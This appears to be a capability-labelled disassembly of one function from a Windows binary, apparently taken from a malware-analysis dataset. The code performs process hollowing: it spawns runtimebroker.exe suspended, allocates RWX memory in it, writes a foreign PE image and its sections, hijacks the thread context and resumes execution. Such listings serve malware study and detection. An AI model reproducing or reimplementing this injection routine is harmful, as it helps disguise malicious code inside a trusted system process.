Function at 0x140003f40
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread
Terminate process

Disassembly:
mov r11, rsp
push rbp
push r13
lea rbp, [r11 - 0x608]
sub rsp, 0x6f8
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
lea rax, str.C:WindowsSystem32_runtimebroker.exe
mov qword [0x1406c9040], rax
lea r13, [0x14003fc90]
movsxd rax, dword [0x14003fccc]
cmp dword [rax + r13], 0x4550
jne 0x14000456c
xorps xmm0, xmm0
mov qword [r11 + 0x10], rsi
mov qword [r11 + 8], rbx
lea rdx, [rbp + 0x4c0]
mov qword [r11 + 0x18], rdi
xor eax, eax
mov qword [r11 - 0x18], r12
mov r8d, 0x104
mov qword [r11 - 0x20], r14
xor ecx, ecx
mov qword [r11 - 0x28], r15
movups xmmword [rbp + 0x454], xmm0
mov dword [rbp + 0x4b4], eax
movups xmmword [rbp + 0x464], xmm0
mov dword [rbp + 0x450], 0x68
movups xmmword [rbp + 0x474], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp + 0x484], xmm0
movups xmmword [rbp + 0x494], xmm0
movups xmmword [rbp + 0x4a4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, qword [0x1406c9040]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x4c0]
xor esi, esi
lea rax, [rbp + 0x450]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400040dd
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp + 0x440]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
mov qword [rsp + 0x68], rsi
cmp dword [rbp + 0x440], esi
je 0x140004176
mov r8d, 0x2c8
lea rcx, [rsp + 0x74]
call fcn.14002c570
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x14]
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400040dd
mov rdx, qword [rsp + 0x68]
mov eax, dword [rbp + 0x14]
test rdx, rdx
je 0x1400040dd
test rax, rax
jne 0x1400041e0
cmp r13, 0xffffffffffffffff
je 0x1400040f7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140004107
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140004127
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov r14, qword [rsp + 0x6e8]
mov r12, qword [rsp + 0x6f0]
mov rdi, qword [rsp + 0x720]
mov rbx, qword [rsp + 0x710]
mov r15, qword [rsp + 0x6e0]
mov rsi, qword [rsp + 0x718]
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.14000a650
add rsp, 0x6f8
pop r13
pop rbp
ret
mov r8d, 0x4d0
lea rcx, [rsp + 0x70]
call fcn.14002c570
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rbp - 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp - 8]
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400040dd
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x1400040dd
cmp qword [rbp - 8], rsi
je 0x1400040dd
movsxd rcx, dword [0x14003fccc]
mov eax, 0x10b
cmp word [rcx + r13 + 0x18], ax
mov eax, dword [rbp + 0x440]
jne 0x140004209
mov ebx, 1
test eax, eax
je 0x140004127
jmp 0x140004213
mov ebx, esi
test eax, eax
jne 0x140004127
movzx edi, word [rcx + r13 + 0x5c]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140004229
call fcn.140003690
jmp 0x14000422e
call fcn.1400037d0
cmp eax, 0xffffffff
je 0x1400040dd
cmp edi, eax
jne 0x1400040dd
test ebx, ebx
je 0x1400043bc
movsxd rdx, dword [0x14003fccc]
mov ecx, esi
cmp dword [rdx + r13 + 0xa0], ecx
setne cl
test ecx, ecx
jne 0x140004399
mov r8d, dword [rdx + r13 + 0x50]
lea rbx, [rdx + r13]
mov edx, dword [rdx + r13 + 0x34]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1400043a7
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400043a7
mov edi, esi
cmp si, word [rbx + 6]
jae 0x140004306
xor r12d, r12d
movzx eax, word [rbx + 0x14]
mov rcx, qword [rsp + 0x50]
add rax, rsi
mov qword [rsp + 0x20], r12
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r13
mov r9d, dword [rax + rbx + 0x28]
add rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400043a7
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x1400042c3
xor esi, esi
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x2c8
call fcn.14002c570
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1400043a7
mov edx, dword [rbp + 0x14]
lea r8, [rbx + 0x34]
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400043a7
mov ecx, dword [rbx + 0x28]
lea rdx, [rsp + 0x70]
add ecx, r14d
mov dword [rbp + 0x20], ecx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x1400043a7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp r13, 0xffffffffffffffff
je 0x140004523
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
jmp 0x140004518
lea rcx, [rsp + 0x50]
call fcn.140003920
test eax, eax
jne 0x140004381
lea rdi, [0x14003fc90]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
jmp 0x1400040ec
movsxd rcx, dword [0x14003fccc]
mov r14d, esi
cmp dword [rcx + r13 + 0xb0], esi
setne r14b
mov r12d, r14d
test r14d, r14d
jne 0x14000454a
mov r8d, dword [rcx + r13 + 0x50]
lea rbx, [rcx + r13]
mov rdx, qword [rbx + 0x30]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea rdi, [0x14003fc90]
mov r15, rax
test rax, rax
je 0x1400043ae
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400043ae
lea r14, [0x14003fc90]
mov edi, esi
cmp si, word [rbx + 6]
jae 0x140004489
movzx eax, word [rbx + 0x14]
mov rcx, qword [rsp + 0x50]
add rax, rsi
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, r14
mov r9d, dword [rax + rbx + 0x28]
add rdx, r15
xor eax, eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000454a
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x140004444
xor esi, esi
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x4d0
call fcn.14002c570
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rbp - 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000454a
mov rdx, qword [rbp - 8]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000454a
mov eax, dword [rbx + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
add rax, r15
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x14000454a
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp r14, 0xffffffffffffffff
je 0x140004523
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140004533
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140004565
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000412c
test r12d, r12d
je 0x1400043a7
lea rcx, [rsp + 0x50]
call fcn.140003c30
test eax, eax
je 0x1400043a7
xor eax, eax
jmp 0x14000412c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
jmp 0x14000415c